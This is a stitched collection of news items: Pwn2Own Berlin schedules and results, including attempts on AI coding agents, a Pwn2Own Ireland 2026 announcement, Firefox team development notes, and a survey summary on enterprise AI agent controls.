Read more of this story at Slashdot.

Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. 

Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!

We’ll be posting real-time updates and results throughout the competition right here on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. 

FAILURE - Unfortunately, Tao Yan & Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.

FAILURE - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.

SUCCESS - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) & Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!

COLLISON - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.

SUCCESS - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!

WITHDRAWAL - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.

FAILURE - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.

COLLISON - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.

WITHDRAWAL - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.

SUCCESS / COLLISON - David Tae & Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.

FAILURE - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.

SUCCESS - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.

SUCCESS - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.

SUCCESS / COLLISON - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.

SUCCESS - Confirmed! 0xDACA (@0xDACA) & Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points.

After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. 

FAILURE - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.

SUCCESS - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.

SUCCESS - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database working within the time allotted. #Pwn2Own #P2OBerlin

SUCCESS - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.

SUCCESS - Angelboy (@scwuaptx) & TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.

WITHDRAWAL - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

FAILURE - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted

COLLISON - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points.

SUCCESS - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.

WITHDRAWAL - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

SUCCESS - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.

SUCCESS - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!

SUCCESS - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.

WITHDRAWAL - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.

SUCCESS - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points

SUCCESS - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!

SUCCESS - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

• James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
• Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!

• Controls for the Memories feature can now be set during Smart Window onboarding

• We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation
  • NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• Pranjali Srivastava
• Sam Johnson

New contributors (🌟 = first patch)

•  🌟:23rd: Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page
• 🌟Akeem Omosanya: Remove commented-out code in SearchService.sys.mjs
• Amin Amir:
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
• 🌟Sahaj: Suggest the default target language for translation after changing the detected source language
• 🌟JIANG Zhirui: Breakpad build failed on Windows using VS2026 due to removal of stdext
•  John Iweh: Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices
• Jak: Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting
• 🌟Andy [:rgbcmy]: Autoplayed next video should also be PIP
•  konyhéa: “Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.
•  Pranjali Srivastava:
  • Remove icon property from sidebar extensions
  • Show language-agnostic SelectTranslations context menu item when the source and target languages are the same

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

• Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

• Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

• Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
  • added support for remote debugging (#2014064, #2016121)
  • made sure that calls to History.replaceState are reflected in the UI (#2037359)
• Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
• Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
• Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

• Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
• Logan Rosen updated stale references and broken links in our documentation about Marionette.
• Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
• Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
• Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
• Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
• Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

• Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
• Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation
  • https://arewemozsrcyet.com/

New Tab Page

• We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
  • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
• Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
• Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

Search and Urlbar

• Nova (URL Bar Design Refresh)
  • Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).
• Search and Suggest
  • Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
  • Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.
• Settings Redesign (SRD)
  • Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.
• General URL Bar and Component Updates
  • Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.
    • Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.
  • Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
  • Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.

Smart Window

• natural language starting with tab close/undo 2035343 with expandable action log 2031508

• assistant rendering feedback up/down 2032994 and markdown table 2027029
• nova styling blur 2027877 and suggestions 2026823
• accessibility screen reader 2028676 and keyboard focus 2037565
• optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

• Nova token updates occasionally, focused on SRD

UX Fundamentals

• Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

• Settings redesign is being tested and will hopefully go out in Firefox 152!

VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.

Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)

Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)

Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)

The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)

